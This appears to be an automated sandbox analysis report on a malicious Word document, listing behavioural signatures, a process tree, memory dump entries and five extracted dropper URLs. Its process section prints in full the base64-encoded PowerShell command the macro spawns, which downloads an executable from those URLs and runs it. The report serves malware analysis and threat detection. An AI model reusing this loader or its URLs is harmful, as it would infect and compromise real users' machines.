Analysis
- max time kernel
109s - max time network
118s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
13/06/2024, 22:31
General
- Target a6e6773c0aff43d6973d896b068a1260_JaffaCakes118.doc
- Size 171KB
- Sample240613-2ftpnashne
- SHA256 00f4cf37659112079af518ca20cdf2cd80bd41a63c0bcf4cde328cd476fcd952
Malware Config
Extracted
-
ps1
-
exe.dropper
http://eldiosstore.com/css/qpfv_e_y3lk0sp6i/
-
exe.dropper
http://luckyme247.com/wp-admin/qawpw_v1_ghe1wmzxzc/
-
exe.dropper
http://vandamebuilders.com/wp-admin/e2ky_18j8_wn4v/
-
exe.dropper
http://deservingveterans.com/wp-admin/fy_4bqe_zu6ew/
-
exe.dropper
http://csmbuildersllc.com/wp-admin/teqvm_n0yai_84/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a6e6773c0aff43d6973d896b068a1260_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABLAEUAQwBOAEMAbgBtAGMAPQAnAEIAWABKAE0ASgBnAGgAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAHIASQBUAHkAcABgAFIAYABvAHQAbwBgAGMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAVgBPAFoATABNAG8AcAB3ACAAPQAgACcANQA0ADMAJwA7ACQATwBVAEwASwBBAGcAZABvAD0AJwBOAEkAQwBJAEEAZgBjAGUAJwA7ACQASQBBAE0AUABMAGIAYQBsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABWAE8AWgBMAE0AbwBwAHcAKwAnAC4AZQB4AGUAJwA7ACQAVgBYAFoAQwBKAGYAeQBvAD0AJwBJAEUAVABEAEsAegBoAGgAJwA7ACQAVgBHAFMAVwBQAGkAawBvAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAHcARQBCAEMATABpAEUAbgB0ADsAJABFAEcATgBMAE0AZgB5AGMAPQAnAGgAdAB0AHAAOgAvAC8AZQBsAGQAaQBvAHMAcwB0AG8AcgBlAC4AYwBvAG0ALwBjAHMAcwAvAHEAcABmAHYAXwBlAF8AeQAzAGwAawAwAHMAcAA2AGkALwAqAGgAdAB0AHAAOgAvAC8AbAB1AGMAawB5AG0AZQAyADQANwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcQBhAHcAcAB3AF8AdgAxAF8AZwBoAGUAMQB3AG0AegB4AHoAYwAvACoAaAB0AHQAcAA6AC8ALwB2AGEAbgBkAGEAbQBlAGIAdQBpAGwAZABlAHIAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZQAyAGsAeQBfADEAOABqADgAXwB3AG4ANAB2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGUAcgB2AGkAbgBnAHYAZQB0AGUAcgBhAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZgB5AF8ANABiAHEAZQBfAHoAdQA2AGUAdwAvACoAaAB0AHQAcAA6AC8ALwBjAHMAbQBiAHUAaQBsAGQAZQByAHMAbABsAGMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHQAZQBxAHYAbQBfAG4AMAB5AGEAaQBfADgANAAvACcALgAiAFMAYABwAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQBUAEIARwBaAHoAdABvAD0AJwBaAFAASQBHAEcAYgBpAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAVQBRAFgAVwBmAG0AaQAgAGkAbgAgACQARQBHAE4ATABNAGYAeQBjACkAewB0AHIAeQB7ACQAVgBHAFMAVwBQAGkAawBvAC4AIgBkAE8AdwBuAEwAYABPAGAAQQBkAGYAaQBgAEwARQAiACgAJABZAFUAUQBYAFcAZgBtAGkALAAgACQASQBBAE0AUABMAGIAYQBsACkAOwAkAEkATABMAEcATABtAHEAdQA9ACcAWgBKAFkAQwBCAHQAYQBlACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQASQBBAE0AUABMAGIAYQBsACkALgAiAGwAZQBOAGAARwBgAFQASAAiACAALQBnAGUAIAAyADgANwA2ADYAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGUAQQBgAFQARQAiACgAJABJAEEATQBQAEwAYgBhAGwAKQA7ACQATwBZAEEASgBVAHIAegB5AD0AJwBCAFgAUwBVAEQAagB5AHYAJwA7AGIAcgBlAGEAawA7ACQAUwBIAE8AUABGAHAAdABmAD0AJwBYAE8AUABHAEMAcQBsAHIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBDAFIATwBNAG8AagBzAD0AJwBIAE8AVQBTAEQAeABoAG0AJwA=1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_awbeaqej.4pi.ps1
memory/1192-63-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/1192-88-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/1192-85-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/1192-73-0x00000185AF070000-0x00000185AF092000-memory.dmp
memory/2520-18-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-25-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-7-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-8-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-12-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-11-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-10-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-9-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-13-0x00007FFD3CB80000-0x00007FFD3CB90000-memory.dmp
memory/2520-15-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-14-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-16-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-17-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-0-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp
memory/2520-19-0x00007FFD3CB80000-0x00007FFD3CB90000-memory.dmp
memory/2520-6-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-26-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-4-0x00007FFD7F44D000-0x00007FFD7F44E000-memory.dmp
memory/2520-5-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp
memory/2520-3-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp
memory/2520-81-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-82-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-83-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-84-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp
memory/2520-2-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp
memory/2520-1-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp
memory/2520-108-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp
memory/2520-107-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp
memory/2520-109-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp
memory/2520-110-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp
memory/2520-111-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp